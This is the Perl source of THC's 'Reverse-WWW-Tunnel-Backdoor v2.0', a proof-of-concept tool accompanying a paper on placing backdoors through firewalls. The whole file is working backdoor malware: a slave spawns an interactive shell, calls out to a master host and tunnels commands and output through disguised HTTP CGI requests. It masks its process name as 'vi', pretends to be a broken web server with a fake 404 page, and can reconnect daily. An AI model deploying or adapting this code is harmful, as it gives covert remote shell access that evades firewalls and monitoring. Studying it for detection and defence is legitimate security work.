#!/usr/bin/perl
#
# Reverse-WWW-Tunnel-Backdoor v2.0
# (c) 1998-2002 by van Hauser / [THC] - The Hacker's Choice <vh@reptile.rug.ac.be>
# Check out http://www.thehackerschoice.com
# Proof-of-Concept Program for the paper "Placing Backdoors through Firewalls"
# available at the website above in the "Articles" section.
#

# Greets to all THC, TESO, ADM and #bluebox guys

# verified to work on Linux, Solaris, AIX and OpenBSD

# BUGS: some Solaris machines: select(3) is broken, won't work there
# on some systems Perl's recv is broken :-( (AIX, OpenBSD) ...
# we can't make proper receive checks here. Workaround implemented.
#
# HISTORY:
# v2.0: HTTP 1.0 protocol compliance (finally ;-)
# v1.6: included www-proxy authentication ;-))
# v1.4: porting to various unix types (and I thought perl'd be portable...)
# v1.3: initial public release of the paper including this tool

#
# GENERAL CONFIG (except for $MASK, everything must be the same
# for MASTER and SLAVE is this section!)
#
$MODE="POST"; # GET or POST
$CGI_PREFIX="/cgi-bin/orderform";# should look like a valid cgi.
$MASK="vi"; # for masking the program's process name
$PASSWORD="THC"; # anything, nothing you have to rememeber
         # (not a real "password" anyway)
#
# MASTER CONFIG (specific for the MASTER)
#
$LISTEN_PORT=8080; # on which port to listen (80 [needs root] or 8080)
$SERVER="127.0.0.1"; # the host to run on (ip/dns) (the SLAVE needs this!)

#
# SLAVE CONFIG (specific for the SLAVE)
#
$SHELL="/bin/sh -i"; # program to execute (e.g. /bin/sh)
$DELAY="3"; # time to wait for output after your command(s)
#$TIME="14:39"; # time when to connect to the master (unset if now)
#$DAILY="yes"; # tries to connect once daily if set with something
#$PROXY="127.0.0.1"; # set this with the Proxy if you must use one
#$PROXY_PORT="3128"; # set this with the Proxy Port if you must use one
#$PROXY_USER="user"; # username for proxy authentication
#$PROXY_PASSWORD="pass";# password for proxy authentication
#$DEBUG="yes"; # for debugging purpose, turn off when in production
$BROKEN_RECV="yes"; # For AIX & OpenBSD, NOT for Linux & Solaris

# END OF CONFIG # nothing for you to do after this point #

################## BEGIN MAIN CODE ##################

require 5.002;
use Socket;

$|=1; # next line changes our process name
if ($MASK) { for ($a=1;$a<80;$a++){$MASK=$MASK."\000";} $0=$MASK; }
undef $DAILY if (! $TIME);
if ( !($PROXY) || !($PROXY_PORT) ) {
  undef $PROXY;
  undef $PROXY_PORT;
}
$protocol = getprotobyname('tcp');

if ($ARGV[0] ne "slave" && $ARGV[0] ne "daemon" && $ARGV[0] ne "master" && $ARGV[1] eq "") {
  print STDOUT "Proof-of-Concept Program for the paper \"Placing Backdoors through Firewalls\"\navailable at http://www.thehackerschoice.com in the \"Articles\" section.\n";
  print STDOUT "Commandline options for rwwwshell:\n\tmaster\t- master mode\n\tslave\t- slave mode\n";
  exit(0);
}

if ($ARGV[0] eq "slave") {
  print STDOUT "starting in slave mode\n";
  $SLAVE_MODE = "yeah";
}

# check for a correct mode
if ($MODE ne "GET" && $MODE ne "POST") {
  print STDOUT "Error: MODE must either be GET or POST, re-edit this perl config\n";
  exit(-1);
}

if (! $SLAVE_MODE) {
  &master;
} else {
  &slave;
}
# END OF MAIN FUNCTION

############### SLAVE FUNCTION ###############

sub slave {
  $pid = 0;
  $PROXY_SUFFIX = "Host: " . $SERVER . "\r\nUser-Agent: Mozilla/4.0\r\nAccept: text/html, text/plain, image/jpeg, image/*;\r\nAccept-Language: en\r\n";
  if ($PROXY) { # setting the real config (for Proxy Support)
    $REAL_SERVER = $PROXY;
    $REAL_PORT = $PROXY_PORT;
    $REAL_PREFIX = $MODE . " http://" . $SERVER . ":" . $LISTEN_PORT
      . $CGI_PREFIX;
    $PROXY_SUFFIX = $PROXY_SUFFIX . "Pragma: no-cache\r\n";
    if ( $PROXY_USER && USER_PASSWORD ) {
      &base64encoding;
      $PROXY_SUFFIX = $PROXY_SUFFIX . $PROXY_COOKIE;
    }
  } else {
    $REAL_SERVER = $SERVER;
    $REAL_PORT = $LISTEN_PORT;
    $REAL_PREFIX = $MODE . " " . $CGI_PREFIX;
  }
  $REAL_PREFIX = $REAL_PREFIX . "?" if ($MODE eq "GET");
  $REAL_PREFIX = $REAL_PREFIX . " HTTP/1.0\r\n" if ($MODE eq "POST");
AGAIN: if ($pid) { kill 9, $pid; }
  if ($TIME) { # wait until the specified $TIME
    $TIME =~ s/^0//; $TIME =~ s/:0/:/;
    (undef,$min,$hour,undef,undef,undef,undef,undef,undef)
      = localtime(time);
    $t=$hour . ":" . $min;
    while ($TIME ne $t) {
      sleep(28); # every 28 seconds we look at the watch
      (undef,$min,$hour,undef,undef,undef,undef,undef,undef)
        = localtime(time);
      $t=$hour . ":" .$min;
    }
  }
  print STDERR "Slave activated\n" if $DEBUG;
  if ($DAILY) { # if we must connect daily, we'll
    if (fork) { # fork the daily shell process to
      sleep(69); # ensure the master control process
      goto AGAIN; # won't get stuck by a fucking cmd
    } # the user executed.
  print STDERR "forked\n" if $DEBUG;
  }
  $address = inet_aton($REAL_SERVER) || die "can't resolve server\n";
  $remote = sockaddr_in($REAL_PORT, $address);
  $forked = 0;
GO: close(THC);
  socket(THC, &PF_INET, &SOCK_STREAM, $protocol)
    or die "can't create socket\n";
  setsockopt(THC, SOL_SOCKET, SO_REUSEADDR, 1);
  if (! $forked) { # fork failed? fuck, let's try again
    pipe R_IN, W_IN; select W_IN; $|=1;
    pipe R_OUT, W_OUT; select W_OUT; $|=1;
    $pid = fork;
    if (! defined $pid) {
      close THC;
      close R_IN; close W_IN;
      close R_OUT; close W_OUT;
      goto GO;
    }
    $forked = 1;
  }
  if (! $pid) { # this is the child process (execs $SHELL)
    close R_OUT; close W_IN; close THC;
    print STDERR "forking $SHELL in child\n" if $DEBUG;
    open STDIN, "<&R_IN";
    open STDOUT, ">&W_OUT";
    open STDERR, ">&W_OUT";
    exec $SHELL || print W_OUT "couldn't spawn $SHELL\n";
    close R_IN; close W_OUT;
    exit(0);
  } else { # this is the parent (data control + network)
    close R_IN;
    sleep($DELAY); # we wait $DELAY for the commands to complete
    vec($rs, fileno(R_OUT), 1) = 1;
    print STDERR "before: allwritten2stdin\n" if $DEBUG;
    select($r = $rs, undef, undef, 30);
    print STDERR "after : wait for allwritten2stdin\n" if $DEBUG;
    sleep(1); # The following readin of the command output
    $output = ""; # looks weird. It must be! every system
    vec($ws, fileno(W_OUT), 1) = 1; # behaves different :-((
    print STDERR "before: readwhiledatafromstdout\n" if $DEBUG;
    while (select($w = $ws, undef, undef, 1)) {
      read R_OUT, $readout, 1 || last;
      $output = $output . $readout;
    }
    print STDERR "after : readwhiledatafromstdout\n" if $DEBUG;
    print STDERR "before: fucksunprob\n" if $DEBUG;
    vec($ws, fileno(W_OUT), 1) = 1;
    while (! select(undef, $w=$ws, undef, 0.001)) {
      read R_OUT, $readout, 1 || last;
      $output = $output . $readout;
    }
    print STDERR "after : fucksunprob\n" if $DEBUG;
    print STDERR "send 0byte to stdout, fail->exit\n" if $DEBUG;
    print W_OUT "\000" || goto END_IT;
    print STDERR "before: readallstdoutdatawhile!eod\n" if $DEBUG;
    while (1) {
      read R_OUT, $readout, 1 || last;
      last if ($readout eq "\000");
      $output = $output . $readout;
    }
    print STDERR "after : readallstdoutdatawhile!eod\n" if $DEBUG;
    &uuencode; # does the encoding of the shell output
    if ($MODE eq "GET") {
      $encoded = $REAL_PREFIX . $encoded . " HTTP/1.0\r\n";
      $encoded = $encoded . $PROXY_SUFFIX;
      $encoded = $encoded . "\r\n";
    } else { # $MODE is "POST"
      $encoded = $REAL_PREFIX . $PROXY_SUFFIX
       . "Content-Type: application/x-www-form-urlencoded\r\n\r\n"
       . $encoded . "\r\n";
    }
    print STDERR "connecting to remote, fail->exit\n" if $DEBUG;
    connect(THC, $remote) || goto END_IT; # connect to master
    print STDERR "send encoded data, fail->exit\n" if $DEBUG;
    send (THC, $encoded, 0) || goto END_IT; # and send data
    $input = "";
    vec($rt, fileno(THC), 1) = 1; # wait until master sends reply
    print STDERR "before: wait4answerfromremote\n" if $DEBUG;
    while (! select($r = $rt, undef, undef, 0.00001)) {}
    print STDERR "after : wait4answerfromremote\n" if $DEBUG;
    print STDERR "read data from socket until eod\n" if $DEBUG;
    $error="no";
# while (1) { # read until EOD (End Of Data)
      print STDERR "?" if $DEBUG;
  # OpenBSD 2.2 can't recv here! can't get any data! sucks ...
      recv (THC, $readin, 16386, 0) || undef $error;
# if ((! $error) and (! $BROKEN_RECV)) { goto OK; }
      print STDERR "!" if $DEBUG;
      goto OK if (($readin eq "\000") or ($readin eq "\n")
        or ($readin eq ""));
      $input = $input . $readin;
# }
OK: print STDERR "\nall data read, entering OK\n" if $DEBUG;
    print STDERR "RECEIVE: $input\n" if $DEBUG;
    $input =~ s/.*\r\n\r\n//s;
    print STDERR "BEFORE DECODING: $input\n" if $DEBUG;
    &uudecode; # decoding the data from the master
    print STDERR "AFTER DECODING: $decoded\n" if $DEBUG;
    print STDERR "if password not found -> exit\n" if $DEBUG;
    goto END_IT if ($decoded =~ m/^$PASSWORD/s == 0);
    $decoded =~ s/^$PASSWORD//;
    print STDERR "writing input data to $SHELL\n" if $DEBUG;
    print W_IN "$decoded" || goto END_IT; # sending the data
    sleep(1); # to the shell proc.
    print STDERR "jumping to GO\n" if $DEBUG;
    goto GO;
  }
END_IT: kill 9, $pid; $pid = 0;
  exit(0);
} # END OF SLAVE FUNCTION

############### MASTER FUNCTION ###############

sub master {
  socket(THC, &PF_INET, &SOCK_STREAM, $protocol)
    or die "can't create socket\n";
  setsockopt(THC, SOL_SOCKET, SO_REUSEADDR, 1);
  bind(THC, sockaddr_in($LISTEN_PORT, INADDR_ANY)) || die "can't bind\n";
  listen(THC, 3) || die "can't listen\n"; # print the HELP
  print STDOUT '
Welcome to the Reverse-WWW-Tunnel-Backdoor v2.0 by van Hauser / THC ...

Introduction: Wait for your SLAVE to connect, examine it\'s output and then
    type in your commands to execute on SLAVE. You\'ll have to
    wait min. the set $DELAY seconds before you get the output
    and can execute the next stuff. Use ";" for multiple commands.
    Trying to execute interactive commands may give you headache
    so beware. Your SLAVE may hang until the daily connect try
    (if set - otherwise you lost).
    You also shouldn\'t try to view binary data too ;-)
    "echo bla >> file", "cat >> file <<- EOF", sed etc. are your
    friends if you don\'t like using vi in a delayed line mode ;-)
    To exit this program on any time without doing harm to either
    MASTER or SLAVE just press Control-C.
    Now have fun.
';

YOP: print STDOUT "\nWaiting for connect ...";
  $remote=accept (S, THC) || goto YOP; # get the connection
  ($r_port, $r_slave)=sockaddr_in($remote); # and print the SLAVE
  $slave=gethostbyaddr($r_slave, AF_INET); # data.
  $slave="unresolved" if ($slave eq "");
  print STDOUT " connect from $slave/".inet_ntoa($r_slave).":$r_port\n";
  select S; $|=1;
  select STDOUT; $|=1;
  $input = "";
  vec($socks, fileno(S), 1) = 1;
  $error="no";
# while (1) { # read the data sent by the slave
    while (! select($r = $socks, undef, undef, 0.00001)) {}
    recv (S, $readin, 16386, 0) || undef $error;
    if ((! $error) and (! $BROKEN_RECV)) {
        print STDOUT "[disconnected]\n";
    }
# $readin =~ s/\r//g;
# $input = $input . $readin;
# last if ( $input =~ m/\r\n\r\n/s );
    $input = $readin;
    print STDERR "MASTER RECEIVE: $input\n" if $DEBUG;
# }
  &hide_as_broken_webserver if ( $input =~ m/$CGI_PREFIX/s == 0 );
  if ( $input =~ m/^GET /s ) {
    $input =~ s/^.*($CGI_PREFIX)\??//s;
    $input =~ s/\r\n.*$//s;
  } else { if ( $input =~ m/^POST /s ) {
    $input =~ s/^.*\r\n\r\n//s;
  } else { if ( $input =~ m/^HEAD /s ) {
    &hide_as_broken_webserver;
  } else {
    close S;
    print STDOUT "Warning! Illegal server access!\n"; # report to user
    goto YOP;
  } } }
  print STDERR "BEFORE DECODING: $input\n" if $DEBUG;
  &uudecode; # decoding the data from the slave
  &hide_as_broken_webserver if ( $decoded =~ m/^$PASSWORD/s == 0 );
  $decoded =~ s/^$PASSWORD//s;
  $decoded = "[Warning! No output from remote!]\n>" if ($decoded eq "");
  print STDOUT "$decoded"; # showing the slave output to the user
  $output = <STDIN>; # and get his input.
  &uuencode; # encode the data for the slave
  $encoded = "HTTP/1.1 200 OK\r\nConnection: close\r\nContent-Type: text/plain\r\n\r\n" . $encoded . "\r\n";
  send (S, $encoded, 0) || die "\nconnection lost!\n"; # and send it
  close (S);
  print STDOUT "sent.\n";
  goto YOP; # wait for the next connect from the slave
} # END OF MASTER FUNCTION

###################### MISC. FUNCTIONS #####################

sub uuencode { # does the encoding stuff for error-free data transfer via WWW
  $output = $PASSWORD . $output; # PW is for error checking and
        $uuencoded = pack "u", "$output"; # preventing sysadmins from
        $uuencoded =~ tr/'\n)=(:;&><,#$*%]!\@"`\\\-' # sending you weird
                        /'zcadefghjklmnopqrstuv' # data. No real
                        /; # security!
        $uuencoded =~ tr/"'"/'b'/;
  if ( ($PROXY) && ($SLAVE_MODE) ) {# proxy drops request if > 4kb
    $codelength = (length $uuencoded) + (length $REAL_PREFIX) +12;
    $cut_length = 4099 - (length $REAL_PREFIX);
    $uuencoded = pack "a$cut_length", $uuencoded
      if ($codelength > 4111);
  }
        $encoded = $uuencoded;
} # END OF UUENCODE FUNCTION

sub uudecode { # does the decoding of the data stream
  $input =~ tr/'zcadefghjklmnopqrstuv'
      /'\n)=(:;&><,#$*%]!\@"`\\\-'
      /;
  $input =~ tr/'b'/"'"/;
  $decoded = unpack "u", "$input";
} # END OF UUDECODE FUNCTION

sub base64encoding { # does the base64 encoding for proxy passwords
  $encode_string = $PROXY_USER . ":" . $PROXY_PASSWORD;
  $encoded_string = substr(pack('u', $encode_string), 1);
  chomp($encoded_string);
  $encoded_string =~ tr|` -_|AA-Za-z0-9+/|;
  $padding = (3 - length($encode_string) % 3) % 3;
  $encoded_string =~ s/.{$padding}$/'=' x $padding/e if $padding;
  $PROXY_COOKIE = "Proxy-authorization: Basic " . $encoded_string . "\n";
} # END OF BASE64ENCODING FUNCTION

sub hide_as_broken_webserver { # invalid request -> look like broken server
  send (S, "<HTML><HEAD>\r\n<TITLE>404 File Not Found</TITLE>\r\n</HEAD>".
     "<BODY>\r\n<H1>File Not Found</H1>\r\n</BODY></HTML>\r\n", 0);
  close S;
  print STDOUT "Warning! Illegal server access!\n"; # report to user
  goto YOP;
} # END OF HIDE_AS_BROKEN_WEBSERVER FUNCTION

# END OF PROGRAM # (c) 1998-2002 by <vh@reptile.rug.ac.be>